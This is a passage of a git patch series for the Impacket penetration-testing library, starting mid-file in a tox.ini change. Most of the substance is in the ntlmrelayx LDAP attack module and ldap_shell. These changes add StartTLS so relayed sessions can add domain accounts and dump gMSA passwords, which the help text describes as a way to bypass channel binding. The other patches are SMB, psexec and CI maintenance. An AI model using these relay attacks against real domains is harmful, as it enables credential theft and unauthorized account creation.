clean,py{27,36,37,38,39,310},report +envlist = clean,py{36,37,38,39,310},report [gh-actions] python = - 2.7: py27 3.6: py36 3.7: py37 3.8: py38 @@ -18,8 +17,8 @@ commands = {envpython} -m pip check pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs} depends = - py{27,36,37,38,39,310}: clean - report: py{27,36,37,38,39,310} + py{36,37,38,39,310}: clean + report: py{36,37,38,39,310} [testenv:clean] basepython = python3.8 @@ -36,9 +35,6 @@ commands = coverage report coverage html -[testenv:py27] -ignore_errors = true - [testenv:py310] ignore_errors = true From abc6e618a981bb0e31e056135962b16a1a42121c Mon Sep 17 00:00:00 2001 From: ThePirateWhoSmellsOfSunflowers Date: Sat, 23 Apr 2022 15:51:22 +0200 Subject: [PATCH 41/44] implementing StartTLS upgrade : first try --- impacket/examples/ldap_shell.py | 17 ++++++++++++++- .../examples/ntlmrelayx/attacks/ldapattack.py | 21 ++++++++++++++++++- 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index 57b67d4049..80045bc723 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -134,7 +134,7 @@ def do_write_gpo_dacl(self, line): def do_add_computer(self, line): args = shlex.split(line) - if not self.client.server.ssl: + if not self.client.server.ssl and not self.client.tls_started: print("Error adding a new computer with LDAP requires LDAPS.") if len(args) != 1 and len(args) != 2 and len(args) !=3: @@ -243,6 +243,10 @@ def do_rename_computer(self, line): def do_add_user(self, line): args = shlex.split(line) + + if not self.client.server.ssl and not self.client.tls_started: + print("Error adding a new user with LDAP requires LDAPS.") + if len(args) == 0: raise Exception("A username is required.") @@ -357,6 +361,16 @@ def do_dump(self, line): self.domain_dumper.domainDump() print('Domain info dumped into lootdir!') + def do_start_tls(self, line): + if not self.client.tls_started and not self.client.server.ssl: + print('Sending StartTLS command...') + if not self.client.start_tls(): + raise Exception("StartTLS failed") + else: + print('StartTLS succeded, you are now using LDAPS!') + else: + print('It seems you are already connected through a TLS channel.') + def do_disable_account(self, username): self.toggle_account_enable_disable(username, False) @@ -637,6 +651,7 @@ def do_help(self, line): grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). + start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel. write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. exit - Terminates this session.""") diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 8c0e1c3045..62c8998209 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -131,7 +131,13 @@ def addComputer(self, parent, domainDumper): global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') - return + return False + + if not self.client.tls_started and not self.client.server.ssl: + LOG.info('Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS') + if not self.client.start_tls(): + LOG.error('StartTLS failed') + return False # Get the domain we are in domaindn = domainDumper.root @@ -194,6 +200,12 @@ def addUser(self, parent, domainDumper): LOG.error('New user already added. Refusing to add another') return + if not self.client.tls_started and not self.client.server.ssl: + LOG.info('Adding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS') + if not self.client.start_tls(): + LOG.error('StartTLS failed') + return False + # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15)) @@ -899,6 +911,13 @@ def run(self): #Dump gMSA Passwords if self.config.dumpgmsa: LOG.info("Attempting to dump gMSA passwords") + + if not self.client.tls_started and not self.client.server.ssl: + LOG.info('Dumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS') + if not self.client.start_tls(): + LOG.error('StartTLS failed') + return False + success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword']) if success: fd = None From 419ff0836508162359b73db4026813dda584ef61 Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Mon, 25 Apr 2022 08:56:39 -0700 Subject: [PATCH 42/44] SMBServer: Missed info level for SMB2 FileBothDirectoryInfo The response item was created but not fields were filled in. This should fix #1205. --- impacket/smbserver.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index fdd027c2a6..d5b867f4a2 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -454,8 +454,8 @@ def findFirst2(path, fileName, level, searchAttributes, pktFlags=smb.SMB.FLAGS2_ item['FileName'] = os.path.basename(i).encode(encoding) - if level in [smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO, smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO, - smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO]: + if level in [smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_BOTH_DIRECTORY_INFO, + smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO]: item['EaSize'] = 0 item['EndOfFile'] = size item['AllocationSize'] = size From a6cfd9099e4a8bb5b114d918162b4f7344050a0b Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Mon, 25 Apr 2022 09:11:30 -0700 Subject: [PATCH 43/44] Fixed regex binary type Do not mix a string regex with the binary being matched. --- examples/psexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/psexec.py b/examples/psexec.py index 68af23e7a2..f86fc655c9 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -284,7 +284,7 @@ def run(self): # Append new data to the buffer while there is data to read __stdoutOutputBuffer += stdout_ans - promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' + promptRegex = rb'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) if endsWithPrompt == True: From 76ec43e7c8b2b1cb58060338298ef690de8871c7 Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Wed, 27 Apr 2022 11:44:16 -0700 Subject: [PATCH 44/44] Removing travis config file Now that we completely moved to GitHub Actions, removing the Travis-CI configuration file. --- .travis.yml | 30 ------------------------------ 1 file changed, 30 deletions(-) delete mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index b5557d4d54..0000000000 --- a/.travis.yml +++ /dev/null @@ -1,30 +0,0 @@ -group: travis_latest -os: linux -dist: focal -language: python -cache: pip - -jobs: - include: - - python: 2.7 - env: NO_REMOTE=true, TOXENV=py27 - - python: 3.6 - env: NO_REMOTE=true, TOXENV=py36 - - python: 3.7 - env: NO_REMOTE=true, TOXENV=py37 - - python: 3.8 - env: NO_REMOTE=true, TOXENV=py38 - - python: 3.9-dev - env: NO_REMOTE=true, TOXENV=py39 - allow_failures: - - python: 3.9-dev - -install: python -m pip install flake8 tox -r requirements.txt - -before_script: - # stop the build if there are Python syntax errors or undefined names - - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics - -script: tox